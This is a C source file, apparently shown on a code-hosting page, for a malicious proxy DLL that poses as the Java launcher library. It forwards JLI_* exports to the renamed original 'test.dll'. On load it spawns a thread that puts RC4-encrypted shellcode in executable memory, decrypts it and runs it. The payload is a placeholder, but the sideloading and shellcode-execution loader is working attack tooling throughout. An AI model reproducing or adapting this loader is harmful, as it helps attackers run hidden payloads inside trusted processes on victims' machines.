1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| #include "rc4.h" #include <stdio.h> #include <Windows.h>
UINT_PTR pJLI_AddArgsFromEnvVar = 0; UINT_PTR pJLI_CmdToArgs = 0; UINT_PTR pJLI_GetAppArgIndex = 0; UINT_PTR pJLI_GetStdArgc = 0; UINT_PTR pJLI_GetStdArgs = 0; UINT_PTR pJLI_InitArgProcessing = 0; UINT_PTR pJLI_Launch = 0; UINT_PTR pJLI_List_add = 0; UINT_PTR pJLI_List_new = 0; UINT_PTR pJLI_ManifestIterate = 0; UINT_PTR pJLI_MemAlloc = 0; UINT_PTR pJLI_MemFree = 0; UINT_PTR pJLI_PreprocessArg = 0; UINT_PTR pJLI_ReportErrorMessage = 0; UINT_PTR pJLI_ReportErrorMessageSys = 0; UINT_PTR pJLI_ReportExceptionDescription = 0; UINT_PTR pJLI_ReportMessage = 0; UINT_PTR pJLI_SetTraceLauncher = 0; UINT_PTR pJLI_StringDup = 0;
HMODULE hOrg = NULL;
void SetupProxies() { if (hOrg) return; hOrg = LoadLibrary(L"test.dll"); if (!hOrg) return;
pJLI_AddArgsFromEnvVar = (UINT_PTR)GetProcAddress(hOrg, "JLI_AddArgsFromEnvVar"); pJLI_CmdToArgs = (UINT_PTR)GetProcAddress(hOrg, "JLI_CmdToArgs"); pJLI_GetAppArgIndex = (UINT_PTR)GetProcAddress(hOrg, "JLI_GetAppArgIndex"); pJLI_GetStdArgc = (UINT_PTR)GetProcAddress(hOrg, "JLI_GetStdArgc"); pJLI_GetStdArgs = (UINT_PTR)GetProcAddress(hOrg, "JLI_GetStdArgs"); pJLI_InitArgProcessing = (UINT_PTR)GetProcAddress(hOrg, "JLI_InitArgProcessing"); pJLI_Launch = (UINT_PTR)GetProcAddress(hOrg, "JLI_Launch"); pJLI_List_add = (UINT_PTR)GetProcAddress(hOrg, "JLI_List_add"); pJLI_List_new = (UINT_PTR)GetProcAddress(hOrg, "JLI_List_new"); pJLI_ManifestIterate = (UINT_PTR)GetProcAddress(hOrg, "JLI_ManifestIterate"); pJLI_MemAlloc = (UINT_PTR)GetProcAddress(hOrg, "JLI_MemAlloc"); pJLI_MemFree = (UINT_PTR)GetProcAddress(hOrg, "JLI_MemFree"); pJLI_PreprocessArg = (UINT_PTR)GetProcAddress(hOrg, "JLI_PreprocessArg"); pJLI_ReportErrorMessage = (UINT_PTR)GetProcAddress(hOrg, "JLI_ReportErrorMessage"); pJLI_ReportErrorMessageSys = (UINT_PTR)GetProcAddress(hOrg, "JLI_ReportErrorMessageSys"); pJLI_ReportExceptionDescription = (UINT_PTR)GetProcAddress(hOrg, "JLI_ReportExceptionDescription"); pJLI_ReportMessage = (UINT_PTR)GetProcAddress(hOrg, "JLI_ReportMessage"); pJLI_SetTraceLauncher = (UINT_PTR)GetProcAddress(hOrg, "JLI_SetTraceLauncher"); pJLI_StringDup = (UINT_PTR)GetProcAddress(hOrg, "JLI_StringDup"); }
unsigned char shellcode[] = { 0x90, 0x90 }; unsigned char key[] = { 0x77, 0x61, 0x61, 0x73, 0x64 };
DWORD WINAPI PayloadThread(LPVOID lpParam) { SIZE_T size = sizeof(shellcode); LPVOID pMem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!pMem) return 0;
memcpy(pMem, shellcode, size); decrypt_mem(pMem, size, key, sizeof(key));
((void(*)())pMem)(); return 0; }
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) { switch (dwReason) { case DLL_PROCESS_ATTACH: SetupProxies(); CreateThread(NULL, 0, PayloadThread, NULL, 0, NULL); break; case DLL_PROCESS_DETACH: if (hOrg) FreeLibrary(hOrg); break; } return TRUE; }
|